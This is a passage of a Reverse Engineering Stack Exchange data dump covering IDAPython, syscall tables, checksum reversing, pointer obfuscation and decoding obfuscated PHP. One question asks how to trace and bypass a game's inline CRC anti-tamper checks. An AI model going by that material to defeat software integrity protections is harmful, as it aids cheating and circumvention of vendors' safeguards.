  <row Id="18310" PostTypeId="2" ParentId="16917" CreationDate="2018-05-18T14:20:48.833" Score="9" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18834/21559&quot;&gt;this answer&lt;/a&gt; for up-to-date information on where ARM64 syscall definitions are found. Note that the information below may just be for backwards-compatibility.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/torvalds/linux/blob/master/arch/arm64/include/asm/unistd32.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;arch/arm64/include/asm/unistd32.h&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ...&#xA; #define __NR_restart_syscall 0&#xA; __SYSCALL(__NR_restart_syscall, sys_restart_syscall)&#xA; #define __NR_exit 1&#xA; __SYSCALL(__NR_exit, sys_exit)&#xA; #define __NR_fork 2&#xA; __SYSCALL(__NR_fork, sys_fork)&#xA; #define __NR_read 3&#xA; __SYSCALL(__NR_read, sys_read)&#xA; #define __NR_write 4&#xA; __SYSCALL(__NR_write, sys_write)&#xA; #define __NR_open 5&#xA; __SYSCALL(__NR_open, compat_sys_open)&#xA; #define __NR_close 6&#xA; __SYSCALL(__NR_close, sys_close)&#xA;            /* 7 was sys_waitpid */&#xA; __SYSCALL(7, sys_ni_syscall)&#xA; #define __NR_creat 8&#xA; __SYSCALL(__NR_creat, sys_creat)&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also find a few AArch64-specific syscalls in &lt;a href=&quot;https://github.com/torvalds/linux/blob/master/arch/arm64/include/asm/unistd.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;arch/arm64/include/asm/unistd.h&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21559" LastEditorUserId="21559" LastEditDate="2018-07-18T15:41:09.260" LastActivityDate="2018-07-18T15:41:09.260" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18313" PostTypeId="1" CreationDate="2018-05-18T23:11:01.100" Score="4" ViewCount="1422" Body="&lt;p&gt;I was wondering if anyone knows how to assign a struct to a stack variable using IDAPython (like when we do &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt;);  Doing this for addresses in .data is not a problem, but I can't figure out a way to do it over the stack struct that IDA creates for a given function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be two APIs in &lt;code&gt;idaapi&lt;/code&gt; to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def set_member_tinfo2(*args):&#xA;  &quot;&quot;&quot;&#xA;  set_member_tinfo2(sptr, mptr, memoff, tif, flags) -&amp;gt; smt_code_t&#xA;  &quot;&quot;&quot;&#xA;&#xA;def set_member_tinfo(*args):&#xA;&quot;&quot;&quot;&#xA;set_member_tinfo(til, sptr, mptr, memoff, type, fields, flags) -&amp;gt; bool&#xA;&quot;&quot;&quot;&#xA;return _idaapi.set_member_tinfo(*args)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't know how to get a 'type' (&lt;code&gt;type_t&lt;/code&gt;) or 'tif' (&lt;code&gt;tinfo_t&lt;/code&gt;) from the struct I have in my locals.  The code I have so far is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 00000000167ED lea     r8, [rbp+190h+var_170]&#xA;&#xA;lea_addr = 0x167ED&#xA;# Get the stack struct&#xA;current_func = idaapi.get_func(lea_addr)&#xA;stack_id = idc.GetFrame(current_func)&#xA;stack_struc = idaapi.get_struc(stack_id)&#xA;&#xA;# Get the stack operand offset value and stack member&#xA;stack_member_offset = idc.GetOperandValue(lea_addr, 1)&#xA;stack_member = stack_struc.get_member(stack_member_offset)&#xA;&#xA;target_struct_id = idaapi.get_struc_id(&quot;_CONFIG&quot;)&#xA;target_struc = idaapi.get_struc(target_struct_id )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to assign the &lt;code&gt;_CONFIG&lt;/code&gt; struct I have in my idb local to &lt;code&gt;var_170&lt;/code&gt;.   I should call &lt;code&gt;set_member_tinfo2&lt;/code&gt; passing a &lt;code&gt;tinfo_t&lt;/code&gt; of my &lt;code&gt;_CONFIG&lt;/code&gt; struct but I can't figure out how to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the idc module there is another function called 'SetMemberType' which looks simpler but I've tried this one in several ways without success. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.SetMemberType(stack_id, stack_member_offset, idc.FF_STRU|idc.FF_DATA, target_struct_id, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It always returns False.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks @Bambu, I've actually tried &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18314&quot;&gt;your method&lt;/a&gt; but it didn't work for me either. What I've finally found that works is to first undefine the stack members that are defined by IDA (except for the ones you already defined and the base 'r' member) and then defining a new bytes member with the size of the struct. After that, change the type with &lt;code&gt;SetMemberType&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def delete_all_function_stack_members(func_ea):&#xA;    members, base = retrieve_stack_members(func_ea)&#xA;    stack_id = idc.GetFrame(func_ea)&#xA;    for k, v in members.items():&#xA;        if k != base:&#xA;            idc.DelStrucMember(stack_id, k)&#xA;    g_functions_stack.add(func_ea)&#xA;&#xA;delete_all_function_stack_members(current_func)&#xA;AddStrucMember(stack_id, &quot;config&quot;, stack_member_offset, FF_BYTE|FF_DATA, -1, GetStrucSize(target_struct_id))&#xA;idc.SetMemberType(stack_id, stack_member_offset, idc.FF_STRU|idc.FF_DATA, target_struct_id, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24441" LastEditorUserId="245" LastEditDate="2018-06-18T07:55:40.750" LastActivityDate="2023-07-14T23:10:33.100" Title="idapython - assign a struct to a stack variable" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18314" PostTypeId="2" ParentId="18313" CreationDate="2018-05-19T02:08:15.823" Score="1" Body="&lt;p&gt;You can get a &lt;code&gt;tinfo_t&lt;/code&gt; for your &lt;code&gt;_CONFIG&lt;/code&gt; struct by using &lt;code&gt;parse_decl2&lt;/code&gt;. Then applying it using &lt;code&gt;idaapi.set_member_tinfo2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get the &lt;code&gt;stack_struc&lt;/code&gt; and &lt;code&gt;stack_member&lt;/code&gt; you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinfo = idaapi.tinfo_t()&#xA;idaapi.parse_decl2(idaapi.cvar.idati, '_CONFIG;', tinfo, idaapi.PT_TYP)&#xA;idaapi.set_member_tinfo2(stack_struc, stack_member, 0, tinfo, idaapi.SET_MEMTI_COMPATIBLE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: the &lt;code&gt;;&lt;/code&gt; at the end of &lt;code&gt;_CONFIG;&lt;/code&gt; is required.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2018-05-19T02:08:15.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18315" PostTypeId="2" ParentId="18313" CreationDate="2018-05-19T07:09:44.920" Score="3" Body="&lt;p&gt;What I've finally found that works is to first undefine the stack members that are defined by IDA (except for the ones you already defined and the base 'r' member) and then defining a new bytes member with the size of the struct. After that, change the type with &lt;code&gt;SetMemberType&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def delete_all_function_stack_members(func_ea):&#xA;    members, base = retrieve_stack_members(func_ea)&#xA;    stack_id = idc.GetFrame(func_ea)&#xA;    for k, v in members.items():&#xA;        if k != base:&#xA;            idc.DelStrucMember(stack_id, k)&#xA;    g_functions_stack.add(func_ea)&#xA;&#xA;delete_all_function_stack_members(current_func)&#xA;AddStrucMember(stack_id, &amp;quot;config&amp;quot;, stack_member_offset, FF_BYTE|FF_DATA, -1, GetStrucSize(target_struct_id))&#xA;idc.SetMemberType(stack_id, stack_member_offset, idc.FF_STRU|idc.FF_DATA, target_struct_id, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: refer to &lt;a href=&quot;https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Porting from IDAPython 6.x-7.3, to 7.4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24441" LastEditorUserId="245" LastEditDate="2023-07-14T23:10:33.100" LastActivityDate="2023-07-14T23:10:33.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18317" PostTypeId="2" ParentId="12874" CreationDate="2018-05-19T11:19:51.153" Score="1" Body="&lt;p&gt;There are multiple free/Trial tools available &#xA;Personally i used .NET Reflector and JustDecompile With JustDecompile you can Edit your source code as well&lt;/p&gt;&#xA;" OwnerUserId="24446" LastActivityDate="2018-05-19T11:19:51.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18318" PostTypeId="1" CreationDate="2018-05-19T13:04:17.040" Score="0" ViewCount="2064" Body="&lt;p&gt;What are these things I marked in red circles on the screenshot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l5giZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l5giZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this program which i tried to disassemble there are 1427 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other application to view it in a better way ?&lt;/p&gt;&#xA;" OwnerUserId="24017" LastEditorUserId="60" LastEditDate="2018-05-23T07:42:17.183" LastActivityDate="2018-05-23T07:42:17.183" Title="What are these sub_XXX things in IDA's disassembly?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18319" PostTypeId="2" ParentId="18318" CreationDate="2018-05-19T13:18:26.333" Score="5" Body="&lt;p&gt;These are functions in the binary that were detected by IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These names are automatically generated by IDA and are not part of the binary's symbol table. The automatically generated names usually have one of the following prefixes followed by their corresponding virtual address: sub_, loc_, byte_, word_, dword_ and unk_.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, sub_* are subroutines, functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/609.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dummy names are automatically generated by IDA. They are used to&#xA;  denote subroutines, program locations and data. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Dummy names have various prefixes depending on the item type and value:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;sub_  :        instruction, subroutine start&lt;br&gt;&#xA;    locret_  :     'return' instruction&lt;br&gt;&#xA;    loc_     :     instruction&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-05-19T17:56:16.247" LastActivityDate="2018-05-19T17:56:16.247" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18320" PostTypeId="2" ParentId="18288" CreationDate="2018-05-19T18:09:38.253" Score="3" Body="&lt;p&gt;There's not much information to go on, but I would probably try to proceed like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Figure out how the web server is running (e.g. what is the server process?) and where are the pages and any additional code handling user input (servlets?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Analyze the code and try to find where the recovery mode is triggered and how the code is checked. If it's Java, there are numerous decompilers available. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively, you can analyze how the system interacts with the hardware and develop your own system that does what you need. However, this can be difficult if it's currently in non-working state.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-19T18:09:38.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18322" PostTypeId="1" AcceptedAnswerId="18862" CreationDate="2018-05-20T07:30:13.563" Score="4" ViewCount="688" Body="&lt;p&gt;I am currently trying to bypass a CRC check, that exists inline on many places in an application to check if memory pages in the .text section have been modified.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mNzpW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNzpW.png&quot; alt=&quot;CRC calculation routine&quot; /&gt;&lt;/a&gt;&#xA;Short explanation of the &lt;code&gt;crc32&lt;/code&gt; instruction:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Starting with an initial value in the first operand (destination operand), accumulates a CRC32 (polynomial 11EDC6F41H) value for the second operand (source operand) and stores the result in the destination operand.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Okay so: &lt;code&gt;rsi&lt;/code&gt; contains the pointer of the next memory page that gets scanned and &lt;code&gt;rax&lt;/code&gt; is the offset/counter. &lt;code&gt;rdx&lt;/code&gt; is usually 200 (200 loops).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My goal&lt;/strong&gt;: find &lt;em&gt;where&lt;/em&gt; &lt;code&gt;rsi&lt;/code&gt; is set. There has to be some instruction like &lt;code&gt;mov rsi, next_memory_page_to_be_scanned&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Going further up in code:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uPPQW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uPPQW.png&quot; alt=&quot;init for the loop vars&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So here are the loop vars initialized (&lt;code&gt;rdx,rax&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Going more up:&lt;a href=&quot;https://i.stack.imgur.com/cNdLa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNdLa.png&quot; alt=&quot;first instruction in yellow for crc&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So here is one of the things I am stuck: the yellow marked part seems to be the first instructions I can bp that gets executed before CRC_CHECK. I mean some other place obviously calls it, but I don't know how to find that place.&lt;/p&gt;&#xA;&lt;p&gt;I tried to follow the return pointer: &lt;a href=&quot;https://i.stack.imgur.com/pe4ej.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pe4ej.png&quot; alt=&quot;return bs&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but the return pointer points to nothing basically. Breakpointing one instruction above (&lt;code&gt;and [rcx], al&lt;/code&gt;) won't trigger the bp (seems to not have anything todo with the CRC check). How do I backtrace this further?&lt;/p&gt;&#xA;&lt;p&gt;The value of &lt;code&gt;rsi&lt;/code&gt; lays also not on the stack when I bp the CRC.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24453" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-20T19:00:32.193" Title="Backtracing where a register gets initialized" Tags="|ida|crc|stack|cheat-engine|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18323" PostTypeId="1" CreationDate="2018-05-20T13:19:33.700" Score="1" ViewCount="64" Body="&lt;p&gt;I'm attaching to a simple program and the new thread breaks at DbgBreakPoint as expected. I'm using x64dbg (32-bit). The problem is, when I go to the Threads window it shows all the threads' EIPs as being within ntdll. If I click on a thread and switch to it it shows in the disassembly that EIP is on the line after calling into WOW64 (syscall). If I put a break on that line and run nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here? How can I switch to a thread and continue single-stepping from where its EIP is actually at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to make sense that all the threads would be blocked in the kernel, because this always happens every time I attach, no matter when. It makes no difference whether I suspend the threads or not. On the other hand, if I just put an infinite loop in and then attach, I'm able to gain control at the infinite loop as expected. I guess that must mean that the threads actually are blocking. But why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to regain control over the threads considering how I can't just break on the line after the transition to WOW64 (that is, where the kernel returns from the blocking call, back in the 32-bit code)?&lt;/p&gt;&#xA;" OwnerUserId="18594" LastActivityDate="2018-05-20T13:19:33.700" Title="Threads blocking in kernel when I attach, can't control them" Tags="|windows|x86|thread|system-call|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18325" PostTypeId="1" AcceptedAnswerId="18326" CreationDate="2018-05-20T20:50:48.997" Score="3" ViewCount="1092" Body="&lt;p&gt;I’m pretty new to reverse engineering, so bear with me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m trying to get a few &lt;code&gt;struct&lt;/code&gt; definitions (or whatever they’re called) from this one binary. After some time fiddling around with it, I’ve gathered some data I’m pretty sure belongs to the one of the &lt;code&gt;struct&lt;/code&gt;s I’m interested in. However, upon closer inspection, I’ve noticed the addresses of these “pieces of data” are scattered all over the place within this binary, instead of being in one contiguous chunk, as a &lt;code&gt;struct&lt;/code&gt; should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google search on this issue suggested it might be happening because of “pointer encryption”, which apparently is more like &lt;code&gt;xor&lt;/code&gt;ing than encrypting(?)... and following searches on the topic lead to nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which leads me to ask this: what exactly is “pointer encryption”? Can it be undone? And, if so, how can I decrypt it?&lt;/p&gt;&#xA;" OwnerUserId="24457" LastActivityDate="2018-05-22T07:36:08.747" Title="Is pointer decryption possible?" Tags="|windows|binary-analysis|c++|pointer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18326" PostTypeId="2" ParentId="18325" CreationDate="2018-05-21T02:18:31.223" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;pointer encryption&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no such thing. There is only &lt;em&gt;pointer obfuscation.&lt;/em&gt; This is essentially how Microsoft markets a couple of functions, and they're pretty open about it from the docs on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/bb432254(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;EncodePointer&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Encoding globally available pointers helps protect them from being exploited. The &lt;code&gt;EncodePointer&lt;/code&gt; function &lt;strong&gt;obfuscates&lt;/strong&gt; the pointer value with a secret so that it cannot be predicted by an external agent. The secret used by &lt;code&gt;EncodePointer&lt;/code&gt; is different for each process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From one of the &lt;a href=&quot;https://blogs.msdn.microsoft.com/michael_howard/2006/01/31/protecting-against-pointer-subterfuge-kinda/&quot; rel=&quot;noreferrer&quot;&gt;Microsoft blogs from 2006&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All these functions do is &lt;code&gt;XOR&lt;/code&gt; a pointer with a random number; the first two functions use a random number held in every application’s  process information block, and the system versions use a value that is tied to each system reboot and is accessible to every application running on the box. [...] Rather than using the pointer directly, the pointer is encoded and stays encoded until you’re about to use it. This makes is more difficult for an attacker, because he must overwrite the function pointer with a value that would calculate correctly after the &lt;code&gt;XOR&lt;/code&gt; operation. Not impossible, but highly unlikely.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-05-21T02:18:31.223" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18327" PostTypeId="2" ParentId="18322" CreationDate="2018-05-22T07:34:02.573" Score="0" Body="&lt;p&gt;It sounds like the program is using some kind of obfuscation. You probably should step through it from the beginning or record an instruction trace to see how it ends up executing these instructions.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-22T07:34:02.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18328" PostTypeId="2" ParentId="18325" CreationDate="2018-05-22T07:36:08.747" Score="1" Body="&lt;p&gt;I don't think there is any encryption going on. Probably the program uses multiple structs to store the data which is completely normal.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-22T07:36:08.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18329" PostTypeId="1" AcceptedAnswerId="18330" CreationDate="2018-05-22T20:07:37.447" Score="0" ViewCount="302" Body="&lt;p&gt;I'm trying to reverse engineer serial protocol, everything seems straightforward, except checksum byte. Seems to be some easy algorithm - when sum of all bytes is the same, checksum/crc stays the same. But still can not figure exact algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last byte is Checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;80,6F,A3,01,02,B0,08,18&lt;br&gt;&#xA;80,6F,A3,03,00,80,00,40&lt;br&gt;&#xA;80,6F,A3,02,00,80,00,41&lt;br&gt;&#xA;80,6F,A3,04,00,80,00,43&lt;br&gt;&#xA;80,6F,A3,01,01,81,08,48&lt;br&gt;&#xA;80,6F,A3,01,02,80,08,48&lt;br&gt;&#xA;80,6F,A3,01,00,81,08,49&lt;br&gt;&#xA;80,6F,A3,01,04,80,08,4A&lt;br&gt;&#xA;80,6F,A3,01,00,80,08,4E&lt;br&gt;&#xA;80,6F,A3,01,02,A0,08,68&lt;br&gt;&#xA;80,6F,A3,01,01,A2,08,6B&lt;br&gt;&#xA;80,6F,A3,01,02,88,08,70&lt;br&gt;&#xA;80,6F,A3,01,06,80,08,74&lt;br&gt;&#xA;80,6F,A3,01,00,88,08,76&lt;br&gt;&#xA;80,6F,A3,01,02,90,08,78&lt;br&gt;&#xA;80,6F,A3,01,12,80,08,78 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;responses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10,03,A3,00,01,00,38,06,73,9C,9B,94,00,12,12,02&lt;br&gt;&#xA;10,03,A3,00,01,00,38,0A,74,A0,8E,94,00,12,12,06&lt;br&gt;&#xA;10,03,A3,00,01,00,40,06,72,9E,99,94,00,12,12,0B&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,72,9B,9A,8E,00,12,12,12&lt;br&gt;&#xA;10,03,A3,00,01,00,38,04,74,77,78,CC,01,12,12,12&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,71,9B,99,90,00,12,12,12&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,6F,9F,92,94,00,12,12,13&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,6E,A1,8C,94,00,12,12,14&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,6E,A0,8E,94,00,12,12,17&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,72,9B,9A,90,00,12,12,1C&lt;br&gt;&#xA;10,03,A3,00,01,00,30,06,72,A1,91,94,00,12,12,1C&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,72,9B,99,90,00,12,12,1D&lt;br&gt;&#xA;10,03,A3,00,01,00,30,07,70,9C,98,94,00,12,12,1F&lt;br&gt;&#xA;10,03,A3,00,01,00,38,05,74,76,77,00,00,12,12,2C&lt;br&gt;&#xA;10,03,A3,00,01,00,B4,03,6C,3E,3A,00,00,12,00,31&lt;br&gt;&#xA;10,03,A3,00,01,00,30,06,72,72,71,00,00,12,12,33  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First byte stays the same, not sure if I should count with them into checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24473" LastEditorUserId="24473" LastEditDate="2018-05-23T05:33:48.603" LastActivityDate="2018-05-23T05:33:48.603" Title="Reverse engineering checksum - LG 485 a/c protocol" Tags="|decryption|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18330" PostTypeId="2" ParentId="18329" CreationDate="2018-05-22T21:48:53.040" Score="4" Body="&lt;p&gt;&lt;s&gt; did not check the second set &lt;/s&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but your first set appears to be xorred by 0x55  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0x55 ^ 0x18 == 0x4d&lt;/strong&gt; (8 bit checksum )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok my guess was right  here is a python script that prints the chksum &#xA;using the data copy pasted to a text file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;infile = open(&quot;timepass.txt&quot; , &quot;r&quot;)&#xA;while True:&#xA;    line = infile.readline()&#xA;    a = line.split(&quot;,&quot;)&#xA;    sum = 0x0;&#xA;    for i in range(0,len(a)-1,1):&#xA;        sum = sum + int(a[i],16)&#xA;    if not line:&#xA;        break&#xA;    print hex( ((sum % 0x100) ^ 0x55) ),&#xA;infile.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python chksum.py&#xA;0x18 0x40 0x41 0x43 0x48 0x48 0x49 0x4a &#xA;0x4e 0x68 0x6b 0x70 0x74 0x76 0x78 0x78 &#xA;0x2 0x6 0xb 0x12 0x12 0x12 0x13 0x14 &#xA;0x17 0x1c 0x1c 0x1d 0x1f 0x2c 0x31 0x33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-22T22:29:30.590" LastActivityDate="2018-05-22T22:29:30.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18331" PostTypeId="1" AcceptedAnswerId="18344" CreationDate="2018-05-22T23:30:51.440" Score="-1" ViewCount="1328" Body="&lt;h1&gt;Description&lt;/h1&gt;&#xA;&lt;p&gt;I asked for help on freelancing, for the finalization of the project in PHP. All this worked well until I needed to edit the authorization mechanism. Having opened the file, I found that it was encrypted. Tried to contact him, but unsuccessfully. Help me find the decoder, the files are flooded with pastest.&lt;/p&gt;&#xA;&lt;h1&gt;Samples:&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The original file is covered with pattern: &lt;a href=&quot;https://pastebin.com/etEWDu2S&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/etEWDu2S&lt;/a&gt; eval(gzuncompress(base64_decode('&lt;/p&gt;&#xA;&lt;p&gt;The decrypted file (but the lines are obfuscated): &lt;a href=&quot;https://pastebin.com/AWr6zGg1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/AWr6zGg1&lt;/a&gt; $GLOBALS['&lt;em&gt;1867101966&lt;/em&gt;'][round(0)]&lt;/p&gt;&#xA;&lt;p&gt;Another file is route.php, there are generally three lines: &lt;a href=&quot;https://pastebin.com/FmbSyYLZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/FmbSyYLZ&lt;/a&gt; multiple eval(gzuncompress(base64_decode('&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Happyness day!&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="24477" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-25T08:10:01.933" Title="Decrypting authorization PHP script" Tags="|decryption|deobfuscation|php|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18332" PostTypeId="1" AcceptedAnswerId="18336" CreationDate="2018-05-23T05:25:13.620" Score="2" ViewCount="2867" Body="&lt;p&gt;I am trying to create a graph so that I can visualize the flow of a particular function in a game that I am interested in. I was initially using Cheat Engine to follow the flow of the function, but after going through about 20 jmps to finally get to the ret instruction, I decided to open up the executable in IDA so that I could see the graph view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I opened the executable in IDA, I ran into an issue where the auto-analysis gets &quot;stuck&quot; in a loop, never finishing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the code, I do wonder if there is some sort of obfuscation going on, because it seems like the same thing could be coded in a far lesser number of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a piece of the code that I suspect is causing an issue (sorry if my comments don't make much 